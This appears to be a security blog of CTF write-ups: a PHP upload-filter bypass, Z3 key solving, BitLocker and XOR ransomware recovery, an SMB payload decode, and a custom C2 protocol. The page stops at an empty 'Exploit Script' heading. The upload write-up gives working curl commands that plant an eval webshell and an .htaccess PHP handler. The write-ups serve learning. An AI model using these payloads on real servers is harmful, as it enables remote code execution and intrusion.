Hello Navi

Tech, Security & Personal Notes

Source analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);

$upload = 'upload/' . md5("2021" . $_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload . '/index.php', '');
var_dump($upload);

if (isset($_POST['file']) && isset($_POST['file'])) {
if (preg_match('#.+\.ph(p[3457]?|t|tml)$|/#is', $_POST['file'])) {
die('file error');
}
if (preg_match('#\w{2,}|[678]|<\?|/#', $_POST['content'])) {
die('content error');
}
file_put_contents($upload . '/' . $_POST['file'], $_POST['content']);
}

if (isset($_GET['reset'])) {
@rmdir($upload);
} string(39) "upload/8cecb394a757c7e7a02f7ed43677c303"
  1. The upload path is deterministic and leaked by var_dump($upload).
  2. The filename filter only blocks extensions ending with .php/.phtml variants, so arch.php.wtf passes.
  3. The content check applies preg_match to $_POST['content']; sending content[]= makes it an array and bypasses the intended regex check.
  4. Uploading .htaccess with SetHandler application/x-httpd-php forces Apache to execute the uploaded non-.php file as PHP.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1) Upload payload to a non-blocked extension
curl -X POST \
-d "file=arch.php.wtf" \
-d "content[]=<?php eval(\$_POST['arch']); ?>" \
http://159.75.177.153:8888/

# 2) Enable PHP handler in the upload directory
curl -X POST \
-d "file=.htaccess" \
-d "content[]=SetHandler application/x-httpd-php" \
http://159.75.177.153:8888/

# 3) Execute command (replace <upload_dir> with leaked value)
curl -X POST \
-d "arch=system('/readflag');" \
http://159.75.177.153:8888/upload/8cecb394a757c7e7a02f7ed43677c303/arch.php.wtf

Flag:

flag{46dd5c50-3e80-485e-80f4-f46b5d85f4b8}

We created a service which can read and print the flag for you. To use the application, you first need to enter a valid product key. Can you reverse the algorithm and generate a valid key?

Reversing

The binary reads a product key, validates it, and prints the flag only if validation succeeds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall main(int argc, char **argv, char **envp)
{
int is_valid;
char input_key[136];

setbuf(stdout, 0);
memset(input_key, 0, 129);
puts("Enter a valid product key to gain access to the flag:");
fgets(input_key, 128, stdin);
input_key[strcspn(input_key, "\n")] = 0;

is_valid = validate_product_key(input_key);
if (is_valid)
{
puts("Valid product key!");
print_flag_file();
}
else
{
puts("Invalid product key!");
}

return 0;
}

bool __fastcall validate_product_key(const char *product_key)
{
int i;
int checksum;

if (strlen(product_key) != 32)
return 0;

// Allowed characters: 0x40..0x5A ('@'..'Z')
for (i = 0; i < strlen(product_key); ++i)
{
if (product_key[i] <= 63 || product_key[i] > 90)
return 0;
}

checksum = 247;
for (i = 1; i < strlen(product_key); ++i)
checksum += transform_char(product_key[i]) - i + 247;

return checksum % 248 == transform_char(product_key[0])
&& checksum % 248 == 247;
}

int __fastcall transform_char(unsigned __int8 ch)
{
if ((char)ch <= 'M')
return (char)ch + 181;
return (char)ch + 177;
}

From validate_product_key:

  • Key length must be exactly 32.
  • Each character must be in 0x40..0x5A (@ to Z).
  • Final condition enforces checksum % 248 == 247.
  • Also, transform_char(key[0]) must equal that same value.

Because transform_char(c) == 247 only when c == 'B', the first character is fixed to B.

Z3 solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from z3 import *
from z3 import BitVec, BitVecVal, If, Solver, ZeroExt, sat

s = Solver()

# 1. 定义 32 个 8-bit 的符号变量(代表字符)
flag = [BitVec(f"flag[{i}]", 8) for i in range(32)]


# 2. 施加字符集约束 ('@' to 'Z')
for i in range(32):
# Integer Promotion converts c to a 32-bit integer = 8 bits(char) + 24 bits
s.add(flag[i] >= 65, flag[i] <= 90)


# 3. 核心转换逻辑 (transform_char)
def transform(c):
# z3 的 If 语法:If(条件, 真值, 假值)
return If(c <= 77, ZeroExt(24, c) + 181, ZeroExt(24, c) + 177)


# 4. 累加校验和计算
# 使用 32-bit 位向量防止整数溢出,就像 C 语言里的 int 一样
# Integer Promotion converts c to a 32-bit integer = 8 bits(char) + 24 bits
checksum = BitVecVal(247, 32)
for i in range(1, 32):
checksum += transform(flag[i]) - i + 247

s.add(checksum % 248 == 247)
s.add(checksum % 248 == transform(flag[0]))

if s.check() == sat:
model = s.model()
# 提取计算出的字符并拼接
flag = "".join(chr(model[flag[i]].as_long()) for i in range(32))
print(f"[+] Valid Product Key: {flag}")

Solver output:

1
BUYRSCLZHPATAQZSLJMJMKOOBFRAOVUX

Remote verification

1
nc 892dc593a381aaea.247ctf.com 50478
1
2
3
4
Enter a valid product key to gain access to the flag:
BUYRSCLZHPATAQZSLJMJMKOOBFRAOVUX
Valid product key!
247CTF{********************************}
247CTF{fb88b9fe80e969e73a27541f62d6f89c}

Z3 is an SMT solver. You describe a problem as variables plus constraints, and Z3 finds assignments that satisfy them (or proves none exist).

  • SMT = “Satisfiability Modulo Theories”
  • Think of it as: “declare rules first, solve later”
  • Usually not a replacement for a hand-tuned algorithm, but great when rules change often

Typical use cases

  • Scheduling and timetabling
  • Resource allocation
  • Program analysis and verification
  • Reverse engineering and CTF constraints

Example scheduling constraints:

  • Mary cannot work Tuesdays
  • John cannot teach before 10:00
  • Outdoor classes cannot happen after 12:00
  • Susan and Sarah cannot teach the same class

This is exactly the kind of constraint-heavy problem where solvers shine.

Core variable types

  • Int(name): integer (no fractions)
  • Real(name): real/rational number
  • Bool(name): boolean (True / False)
  • BitVec(name, bits): fixed-width integer with wraparound (useful for low-level/crypto work)

You can declare multiple variables at once with plural helpers, for example:

1
a, b, c, d, e = Bools("a b c d e")

Common operators and helpers

  • And(*args): all conditions must hold
  • Or(*args): at least one condition must hold
  • Not(x): logical negation
  • Xor(a, b): exactly one is true
  • Distinct(*args): all expressions have different values
  • LShR(n, b): logical right shift (fills with 0)

Notes:

  • Arithmetic: +, -, *, /, **
  • Bitwise: <<, >>, &, |
  • Comparisons: ==, !=, <, >, <=, >=
  • For bit-vectors, >> is arithmetic shift; use LShR for logical shift

Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from z3 import Real, Solver, sat

s = Solver()

x = Real("x")
y = Real("y")
z = Real("z")

s.add(x * x + y == 16)
s.add(z**3 == 27)
s.add(x * z == 6)

if s.check() == sat:
m = s.model()
print("model:", m)
print("x =", m.eval(x))
print("y =", m.eval(y))
print("z =", m.eval(z))
else:
print("unsat")

References

  • https://asibahi.github.io/thoughts/a-gentle-introduction-to-z3/
  • https://www.hillelwayne.com/post/z3-examples/
  • https://book.jorianwoltjer.com/cryptography/custom-ciphers/z3-solver

Encrypted USB Drive

An important USB drive containing sensitive information has been encrypted by some new ransomware variant. Can you reverse the ransomware encryption function and recover the files?

1. Initial Analysis

We are provided with a BitLocker-encrypted USB image (encrypted_usb.dd) and a large list of potential recovery keys (recovery_keys_dump.txt).

1
2
❯ file encrypted_usb.dd
encrypted_usb.dd: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "-FVE-FS-", ... FAT (32 bit) ... NTFS ...

The goal is to find the correct recovery key, mount the image, and then deal with the “ransomware” that has encrypted the files inside.

2. BitLocker Decryption

Attempting John the Ripper

First, I tried using bitlocker2john to extract the hash and then cracked it with the provided recovery keys.

1
2
3
4
❯ bitlocker2john -i encrypted_usb.dd > hash
❯ john --wordlist=./recovery_keys_dump.txt --fork=6 hash
...
0 password hashes cracked, 4 left

John didn’t seem to find the key directly (possibly due to format mismatch or configuration). Instead of debugging the hash format, I moved to a more direct approach: brute-forcing the mount command using dislocker.

Brute-forcing with Dislocker

I wrote a simple bash script to iterate through the recovery_keys_dump.txt and attempt to mount the image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env bash

IMG_FILE="encrypted_usb.dd"
MNT_DIR="/mnt/bitlocker_img"
USB_DIR="/mnt/unlocked_usb"
KEYS_FILE="recovery_keys_dump.txt"

if [[ $EUID -ne 0 ]]; then
echo "[-] Error: This script must be run as root."
exit 1
fi

mkdir -p "$MNT_DIR" "$USB_DIR"

while IFS= read -r key; do
# -p specifies the recovery password
if dislocker -V "$IMG_FILE" -p"$key" -- "$MNT_DIR" 2>/dev/null; then
echo -e "\n[+] Recovery Key Found: $key"
break
fi
done < "$KEYS_FILE"

Running the script successfully identified the key:

1
2
3
[+] Recovery Key Found: 334565-564641-129580-248655-292215-551991-326733-393679

sudo mount /mnt/bitlocker_img/dislocker-file /mnt/unlocked_usb

3. Ransomware Analysis

Inside the mounted drive, we find several encrypted files and the ransomware binary itself:

1
2
3
4
5
6
7
8
9
ls -lh /mnt/unlocked_usb/
total 3.2M
-rwxrwxrwx 1 root root 474K Oct 8 2022 crypto_passphrase.png.xxx.crypt
-rwxrwxrwx 1 root root 15K Oct 8 2022 cryptor
-rwxrwxrwx 1 root root 9.2K Oct 8 2022 do_not_open.png.xxx.crypt
-rwxrwxrwx 1 root root 133K Oct 8 2022 meeting_minutes.png.xxx.crypt
-rwxrwxrwx 1 root root 889K Oct 8 2022 passwords.png.xxx.crypt
-rwxrwxrwx 1 root root 386 Oct 8 2022 ransom.txt
-rwxrwxrwx 1 root root 1.7M Oct 8 2022 salary_screenshot.png.xxx.crypt

The ransom.txt claims to use a “secure XOR encryption algorithm”.

1
2
Your files have been encrypted using a secure xor encryption algorithm and are completely unrecoverable!
To decrypt your files, you need your secret encryption key.

4. Recovery (Known Plaintext Attack)

Since the files are PNGs, we can perform a Known Plaintext Attack. We know that PNG files always start with the same 8-byte magic header: 89 50 4E 47 0D 0A 1A 0A.

By XORing the first 8 bytes of an encrypted file with this known PNG header, we can recover the XOR key.

Using CyberChef:

  1. Input the first few bytes of do_not_open.png.xxx.crypt.
  2. XOR with the PNG magic bytes 89 50 4E 47 0D 0A 1A 0A.
  3. The result reveals the key repeats as 66 63 6f 79 (ASCII: fcoy).

Applying the XOR key fcoy to the entire file do_not_open.png.xxx.crypt recovers the original image containing the flag.

247CTF{494f7cceb2baf33a0879543fe673blae}

5. Deep Dive: Reversing the cryptor Binary

I was curious about how the binary actually worked, so I threw it into IDA Pro.

Main Logic

The program expects a 4-character key as a command-line argument. It then iterates through the current directory, looking for files with the .xxx extension.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main(int a1, char **a2, char **a3)
{
// ...
// Key must be exactly 4 bytes long
if ( a1 != 2 || strlen(a2[1]) != 4 || (unsigned int)check_key_validity(a2[1]) != 1 )
return 1;

dirp = opendir(".");
if ( dirp )
{
while ( (v5 = readdir(dirp)) != 0 )
{
if ( (unsigned int)is_target_extension(v5->d_name) == 1 )
{
strcpy(dest, v5->d_name);
strcat(dest, ".crypt"); // Append .crypt to original name
encrypt_file(v5->d_name, dest, a2[1]);
}
}
closedir(dirp);
}
return 0;
}

Encryption Function

The encryption is indeed a simple byte-by-byte XOR using the 4-byte key provided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall encrypt_file(char *source, char *dest, char *key)
{
// ...
stream = fopen(source, "rb");
v16 = fopen(dest, "wb");
key_len = strlen(key);

do
{
// Read chunks matching the key length
bytes_read = fread(ptr, 1u, key_len, stream);
for ( i = 0; i < bytes_read; ++i )
*((_BYTE *)ptr + i) ^= key[i]; // XOR logic
fwrite(ptr, 1u, bytes_read, v16);
}
while ( bytes_read == key_len );

fclose(stream);
fclose(v16);
return ...;
}

The analysis confirms the Known Plaintext Attack was the correct approach, as the key length was short (4 bytes) and applied cyclically.

The encrypted password

Challenge prompt:

You won’t find the admin’s secret password in this binary. We even encrypted it with a secure one-time-pad. Can you still recover the password?

1. Quick dynamic check with ltrace

ltrace shows the binary compares our input against a transformed string.

1
2
3
4
5
6
$ ltrace ./encrypted_password
...
puts("Enter the secret password:")
fgets("arst\\n", 33, stdin)
strcmp("arst\\n", "141c85ccfb2ae19d8d8c224c4e403dce"...)
...

This already hints that the expected secret is a printable 32-byte string.

2. Or debug in debugger (pwndbg)

Set a breakpoint at the strcmp call (0x555555400930) and run the program.

1
2
3
4
5
6
pwndbg> b *0x555555400930
pwndbg> r
...
► 0x555555400930 call strcmp@plt
s1: 0x7fffffffdf00 ◂— 0x500000000a
s2: 0x7fffffffded0 ◂— '141c85ccfb2ae19d8d8c224c4e403dce'

At compare time, s2 contains the final password candidate.

3. Or reverse logic in IDA

Relevant decompiled logic:

1
2
3
4
5
6
7
8
9
10
11
12
strcpy(s, "875e9409f9811ba8560beee6fb0c77d2");
*(_QWORD *)s2 = 0x5A53010106040309LL;
v8 = 0x5C585354500A5B00LL;
v9 = 0x555157570108520DLL;
v10 = 0x5707530453040752LL;

for (i = 0; i < strlen(s); ++i)
s2[i] ^= s[i];

fgets(s1, 33, stdin);
if (!strcmp(s1, s2))
printf("You found the flag!\\n247CTF{%s}\\n", s2);

So the binary builds s2, XORs it with s, then compares it against input.

Reconstruct the secret with Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import p64, xor

chunks = [
0x5A53010106040309,
0x5C585354500A5B00,
0x555157570108520D,
0x5707530453040752,
]

s2_bytes = b"".join(p64(chunk) for chunk in chunks)
key = b"875e9409f9811ba8560beee6fb0c77d2"
password = xor(s2_bytes, key)

print(f"247CTF{{{password.decode()}}}")

Flag

247CTF{141c85ccfb2ae19d8d8c224c4e403dce}

We have a honey pot running on one of our internal networks. We received an alert today that the machine was compromised, but we can’t figure out what the attacker did. Can you find the flag hidden in the attacker’s payload?

我们在内部网络中运行了一个蜜罐。今天我们收到警报,显示该机器已被入侵,但我们无法确定攻击者做了什么。你能找到隐藏在攻击者有效载荷中的 flag 吗?

Network Traffic

The provided logs show SMB (Server Message Block) traffic on port 445 (microsoft_ds). The sequence of SMBNegotiate_Request and SMB2_Negotiate_Protocol_Request suggests an attempt to exploit an SMB vulnerability.

1
2
3
4
0001 Ether / IP / TCP 192.168.10.168:microsoft_ds > 10.0.5.15:42799 SA / Padding
0003 Ether / IP / TCP 10.0.5.15:42799 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB_Header / SMBNegotiate_Request
...
0203 Ether / IP / TCP 10.0.5.15:43947 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB2_Header / SMB2_Negotiate_Protocol_Request / Raw

Payload Extraction

Following the TCP stream and exporting the raw data with Wireshark, we get the following hex dump:

1
2
3
4
5
6
7
8
9
10
❯ xxd a.raw
...
00000270: 0031 c941 e201 c3b9 8200 00c0 0f32 48bb .1.A........2H..
00000280: f80f d0ff ffff ffff 8953 0489 0348 8d05 .........S...H..
00000290: 0a00 0000 4889 c248 c1ea 200f 30c3 0f01 ....H..H.. .0...
000002a0: f865 4889 2425 1000 0000 6548 8b24 25a8 .eH.$%....eH.$%.
...
000007c0: 4d55 9dce ebc1 2620 2357 4052 6f23 7627 MU....& #W@Ro#v'
000007d0: 2226 2277 7027 2122 232c 2075 2523 752d "&"wp'!"#, u%#u-
...

The challenge name “Commutative Payload” hints at a commutative operation like XOR used for obfuscation.

Solution

  1. Extract Data: Save the raw payload from the Wireshark TCP stream.
  2. CyberChef Analysis:
    • Use the XOR Brute Force operation.
    • Sample length: 10000.
    • Crib: 247CTF (knowing the flag format).
  3. Identification: When testing a key length of 2, the key 14 14 (effectively a 1-byte XOR with 0x14) decrypts the payload to reveal the flag.

Flag

247CTF{7b3626cd356784a17a9e49447356f229}

The More The Merrier

One byte is great. But what if you need more? Can you find the flag hidden in this binary?

Analysis

The challenge provides a 64-bit ELF executable. Checking its details:

1
2
❯ file the_more_the_merrier
the_more_the_merrier: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0f750d638337391328fa7432dd362189de908c1e, stripped

Upon inspecting the binary’s data section or its hex dump, we find the 247CTF flag hidden in the binary:

1
2
3
4
5
6
7
8
9
10
11
00000000000006E0  01 00 02 00 00 00 00 00  32 00 00 00 34 00 00 00  ........2...4...
00000000000006F0 37 00 00 00 43 00 00 00 54 00 00 00 46 00 00 00 7...C...T...F...
0000000000000700 7B 00 00 00 36 00 00 00 64 00 00 00 66 00 00 00 {...6...d...f...
0000000000000710 32 00 00 00 31 00 00 00 35 00 00 00 65 00 00 00 2...1...5...e...
0000000000000720 62 00 00 00 33 00 00 00 63 00 00 00 63 00 00 00 b...3...c...c...
0000000000000730 37 00 00 00 33 00 00 00 34 00 00 00 30 00 00 00 7...3...4...0...
0000000000000740 37 00 00 00 32 00 00 00 36 00 00 00 37 00 00 00 7...2...6...7...
0000000000000750 30 00 00 00 33 00 00 00 31 00 00 00 61 00 00 00 0...3...1...a...
0000000000000760 31 00 00 00 35 00 00 00 62 00 00 00 30 00 00 00 1...5...b...0...
0000000000000770 61 00 00 00 62 00 00 00 33 00 00 00 36 00 00 00 a...b...3...6...
0000000000000780 63 00 00 00 7D 00 00 00 00 00 00 00 4E 6F 74 68 c...}.......Noth

Solution

Each character of the flag is stored as a 4-byte little-endian integer. For example: - 32 00 00 00 -> 0x32 -> '2' - 34 00 00 00 -> 0x34 -> '4' - 37 00 00 00 -> 0x37 -> '7' - 43 00 00 00 -> 0x43 -> 'C'

We can extract the flag by reading the first byte of each 4-byte chunk.

Flag

247CTF{6df215eb3cc73407267031a15b0ab36c}

Reverse the lock validation logic and recover the 40-character flag.

Challenge

The page verifies a candidate flag client-side with a long chain of arithmetic and bitwise constraints.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
checkFlag(flag) {
let result = "LOCKED";
this.dom.lock.classList.remove("verified");
if (
Object.keys(flag).length == 40 &&
(flag[37] - flag[37]) * flag[15] == 0 &&
(flag[3] + flag[31]) ^ (flag[29] + flag[8] == 234) &&

// Constraint Satisfaction

) {
result = "";
for (var idx in flag) {
result += String.fromCharCode(flag[idx]);
}
this.dom.lock.classList.add("verified");
}
return result;
}

...
</script>

Approach

  • Extract all if (...) constraints from the JavaScript checker.
  • Model each flag[i] as an ASCII character in Z3 (32..126).
  • Convert JavaScript-style constraint expressions into valid Python/Z3 expressions.
  • Solve and rebuild the flag string from the model.

Solver Script (Z3)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
import re

from z3 import BitVec, Solver, sat

raw_js = """
(flag[37] - flag[37]) * flag[15] == 0 &&
(flag[3] + flag[31]) ^ (flag[29] + flag[8] == 234) &&
(flag[32] - flag[12]) * flag[9] == -2332 &&
(flag[24] - flag[27] + flag[13]) ^ (flag[6] == 114) &&
(flag[38] - flag[15]) * flag[33] == 800 &&
(flag[34] - flag[21]) * flag[26] == 98 &&
(flag[29] + flag[0]) ^ (flag[8] + flag[38] == 248) &&
(flag[21] * flag[18]) ^ (flag[7] - flag[15] == 2694) &&
(flag[28] * flag[23]) ^ (flag[19] - flag[5] == -9813) &&
(flag[34] + flag[30]) ^ (flag[37] + flag[6] == 72) &&
(flag[23] - flag[22]) * flag[12] == 4950 &&
(flag[9] * flag[28]) ^ (flag[20] - flag[11] == 5143) &&
(flag[2] * flag[22]) ^ (flag[37] - flag[0] == 2759) &&
(flag[26] - flag[12]) * flag[3] == -3350 &&
(flag[35] * flag[0]) ^ (flag[23] - flag[21] == 2698) &&
(flag[20] + flag[31]) ^ (flag[5] + flag[10] == 22) &&
(flag[31] * flag[19]) ^ (flag[1] - flag[2] == -2655) &&
(flag[38] - flag[14]) * flag[18] == 55 &&
(flag[29] - flag[19] + flag[10]) ^ (flag[2] == 93) &&
(flag[13] - flag[25] + flag[30]) ^ (flag[29] == 13) &&
(flag[35] + flag[33]) ^ (flag[26] + flag[21] == 249) &&
(flag[17] + flag[24]) ^ (flag[34] + flag[1] == 253) &&
(flag[32] - flag[35] + flag[19]) ^ (flag[1] == 0) &&
(flag[22] - flag[11] + flag[3]) ^ (flag[31] == 113) &&
(flag[19] - flag[0]) * flag[13] == 108 &&
(flag[19] - flag[17]) * flag[14] == -2475 &&
(flag[31] - flag[35] + flag[16]) ^ (flag[19] == 84) &&
(flag[24] * flag[27]) ^ (flag[35] - flag[17] == -5792) &&
(flag[11] * flag[35]) ^ (flag[15] - flag[28] == -2845) &&
(flag[18] - flag[19] + flag[31]) ^ (flag[5] == 112) &&
(flag[20] - flag[6]) * flag[10] == -3933 &&
(flag[39] - flag[33]) * flag[6] == 3075 &&
(flag[22] + flag[1]) ^ (flag[39] + flag[14] == 211) &&
(flag[37] * flag[24]) ^ (flag[12] - flag[39] == -5726) &&
(flag[29] + flag[3]) ^ (flag[8] + flag[11] == 195) &&
(flag[26] * flag[7]) ^ (flag[10] - flag[17] == -2375) &&
(flag[11] - flag[12]) * flag[12] == -4653 &&
(flag[13] * flag[5]) ^ (flag[12] - flag[25] == 3829) &&
(flag[24] * flag[0]) ^ (flag[13] - flag[23] == -2829) &&
(flag[17] + flag[12]) ^ (flag[8] + flag[14] == 170) &&
(flag[38] + flag[23]) ^ (flag[11] + flag[1] == 245) &&
(flag[22] + flag[5]) ^ (flag[21] + flag[24] == 19) &&
(flag[35] - flag[8] + flag[21]) ^ (flag[30] == 85) &&
(flag[18] - flag[31] + flag[28]) ^ (flag[29] == 0) &&
(flag[30] * flag[35]) ^ (flag[27] - flag[29] == 5501) &&
(flag[8] - flag[30] + flag[16]) ^ (flag[36] == 81) &&
(flag[13] * flag[18]) ^ (flag[35] - flag[38] == -2971) &&
(flag[27] - flag[14]) * flag[39] == 5875 &&
(flag[34] - flag[33]) * flag[6] == -6027 &&
(flag[38] * flag[1]) ^ (flag[20] - flag[10] == -2915) &&
(flag[1] - flag[1]) * flag[3] == 0 &&
(flag[36] - flag[20]) * flag[8] == 2640 &&
(flag[23] - flag[11] + flag[17]) ^ (flag[33] == 246) &&
(flag[13] - flag[38]) * flag[0] == -100 &&
(flag[28] - flag[14]) * flag[31] == 2142 &&
(flag[26] + flag[15]) ^ (flag[13] + flag[31] == 8) &&
(flag[36] - flag[15]) * flag[17] == 5238 &&
(flag[16] - flag[30]) * flag[33] == 0 &&
(flag[2] - flag[20] + flag[13]) ^ (flag[6] == 76) &&
(flag[10] - flag[14] + flag[31]) ^ (flag[13] == 3) &&
(flag[0] * flag[10]) ^ (flag[14] - flag[31] == 2854) &&
(flag[28] - flag[34] + flag[14]) ^ (flag[14] == 82) &&
(flag[28] - flag[25]) * flag[1] == 2444 &&
(flag[34] - flag[12]) * flag[25] == -2400 &&
(flag[28] * flag[38]) ^ (flag[17] - flag[4] == 5429) &&
(flag[21] - flag[21] + flag[26]) ^ (flag[23] == 84) &&
(flag[9] - flag[4] + flag[18]) ^ (flag[35] == 47) &&
(flag[28] - flag[21] + flag[1]) ^ (flag[33] == 0) &&
(flag[24] - flag[25] + flag[22]) ^ (flag[0] == 8) &&
(flag[28] - flag[25]) * flag[12] == 4653 &&
(flag[1] * flag[15]) ^ (flag[10] - flag[8] == 2498) &&
(flag[5] * flag[7]) ^ (flag[15] - flag[34] == -3429) &&
(flag[8] * flag[3]) ^ (flag[23] - flag[22] == 3671) &&
(flag[25] - flag[33]) * flag[11] == -2600 &&
(flag[21] + flag[12]) ^ (flag[37] + flag[28] == 81) &&
(flag[30] + flag[33]) ^ (flag[34] + flag[14] == 162) &&
(flag[6] - flag[25]) * flag[8] == 4015 &&
(flag[24] - flag[7] + flag[12]) ^ (flag[7] == 90) &&
(flag[18] * flag[12]) ^ (flag[8] - flag[4] == -5466) &&
(flag[32] * flag[7]) ^ (flag[32] - flag[27] == -2730) &&
(flag[32] * flag[34]) ^ (flag[29] - flag[16] == 2804) &&
(flag[25] * flag[22]) ^ (flag[28] - flag[39] == -2542) &&
(flag[8] - flag[15]) * flag[6] == 861 &&
(flag[20] + flag[18]) ^ (flag[25] + flag[36] == 245) &&
(flag[5] - flag[28] + flag[14]) ^ (flag[39] == 97) &&
(flag[30] * flag[11]) ^ (flag[16] - flag[11] == 5216) &&
(flag[11] + flag[18]) ^ (flag[7] + flag[9] == 13) &&
(flag[9] - flag[2]) * flag[30] == -200 &&
(flag[12] + flag[37]) ^ (flag[9] + flag[4] == 78) &&
(flag[10] - flag[37]) * flag[38] == -2408 &&
(flag[5] * flag[19]) ^ (flag[20] - flag[21] == 3645) &&
(flag[27] * flag[29]) ^ (flag[39] - flag[21] == 10354) &&
(flag[15] * flag[32]) ^ (flag[7] - flag[22] == -2642) &&
(flag[1] - flag[3] + flag[24]) ^ (flag[31] == 25) &&
(flag[13] - flag[0]) * flag[30] == 400 &&
(flag[18] - flag[15] + flag[36]) ^ (flag[28] == 12) &&
(flag[34] + flag[21]) ^ (flag[12] + flag[37] == 163) &&
(flag[36] - flag[33]) * flag[14] == 110 &&
(flag[2] - flag[3]) * flag[3] == -804 &&
(flag[35] - flag[27] + flag[22]) ^ (flag[4] == 80) &&
(flag[10] + flag[9]) ^ (flag[17] + flag[2] == 246) &&
(flag[25] * flag[4]) ^ (flag[27] - flag[23] == 4201) &&
(flag[32] * flag[19]) ^ (flag[3] - flag[25] == 2877) &&
(flag[37] - flag[14]) * flag[23] == 4545 &&
(flag[32] + flag[13]) ^ (flag[31] + flag[32] == 7) &&
(flag[11] - flag[25]) * flag[39] == 250 &&
(flag[17] + flag[31]) ^ (flag[6] + flag[9] == 36) &&
(flag[4] + flag[27]) ^ (flag[2] + flag[31] == 208) &&
(flag[6] + flag[7]) ^ (flag[26] + flag[21] == 206) &&
(flag[19] + flag[25]) ^ (flag[22] + flag[10] == 10) &&
(flag[34] + flag[2]) ^ (flag[8] + flag[26] == 2) &&
(flag[7] + flag[5]) ^ (flag[12] + flag[14] == 237) &&
(flag[1] - flag[13]) * flag[38] == -112 &&
(flag[0] - flag[19] + flag[16]) ^ (flag[0] == 80) &&
(flag[31] + flag[36]) ^ (flag[3] + flag[2] == 227) &&
(flag[32] - flag[3] + flag[26]) ^ (flag[4] == 113) &&
(flag[3] * flag[6]) ^ (flag[16] - flag[27] == -8241) &&
(flag[24] + flag[15]) ^ (flag[2] + flag[30] == 242) &&
(flag[11] + flag[21]) ^ (flag[31] + flag[20] == 12) &&
(flag[9] - flag[26] + flag[23]) ^ (flag[30] == 13)
"""
s = Solver()

flag = [BitVec(f"flag[{i}]", 32) for i in range(40)]

for i in range(40):
s.add(flag[i] >= 32, flag[i] <= 126)

for line in raw_js.strip().split("&&"):
line = line.strip()
if not line:
continue

# Convert: A ^ (B == N) -> (A ^ B) == N
if "^" in line:
line = re.sub(r"(.*)\^\s*\((.*)\s*==\s*(-?\d+)\)", r"(\1 ^ (\2)) == \3", line)

s.add(eval(line))

if s.check() == sat:
m = s.model()
result = "".join([chr(m[flag[i]].as_long()) for i in range(40)])
print(f"\n[+] Result: {result}")
else:
print("\n[-] Unsatisfiable.")

Notes

  • ^ in JavaScript is bitwise XOR (not exponent), so constraints must be modeled as XOR equations.
  • 32-bit BitVec variables are used to match JavaScript bitwise operation behavior.

Flag

247CTF{17594c670da74613e921faed37d37fd8}

We are working on our own custom command and control protocol. Can you identify any hidden features in the service? We also included a packet capture of some old sessions so you can learn how it works.

我们正在开发自己的自定义命令与控制协议。您能发现该服务中有哪些隐藏功能吗?我们还提供了一些旧会话的数据包捕获文件,以便您了解其工作原理。

PCAP Investigation with Scapy

The first step was to examine the provided packet capture (custom_protocol_log.pcap) to understand the communication pattern. I used scapy to extract and decode raw data from the TCP streams.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import TCP

PCAP_FILE = "custom_protocol_log.pcap"

def print_hex(pcap_path):
packets = rdpcap(pcap_path)
for pkt in packets:
if TCP in pkt and pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
# Attempt to decode or print as hex
print(raw.hex())
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
print_hex(PCAP_FILE)

Protocol Reversal

By analyzing the hex data from the traffic between 172.17.0.1 and 172.17.0.2, a clear pattern emerged:

1
2
3
b925afc1 00 31 00 30 00 323430323435313235
b925afc1 00 32 00 30 00 323032383630353038
b925afc1 00 33 00 32 00 33383232383038323633

The protocol structure appears to be: [Session ID] [Null] [Counter] [Null] [Command] [Null] [Checksum]

  • Session ID: A 4-byte identifier (e.g., b925afc1).
  • Counter: Increments with each request.
  • Command: Hex-encoded numbers (e.g., 30 for 0, 31 for 1, 32 for 2).
  • Checksum: A CRC32 calculation of the preceding bytes, where the result is converted to a decimal string and then hex-encoded.

Checksum Verification

Using Python to verify the CRC32 logic:

1
2
3
4
5
6
7
8
9
10
11
12
import zlib

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
# Convert CRC32 integer to decimal string, then hex-encode that string
return str(crc_val).encode().hex()

base_hex = "b925afc100310030"
print(f"Payload: {base_hex}")
print(f"Custom CRC Hex: {calc_custom_crc_hex(base_hex)}")
# Output: 323430323435313235 (Matches the PCAP!)

Solution

Exploit Script

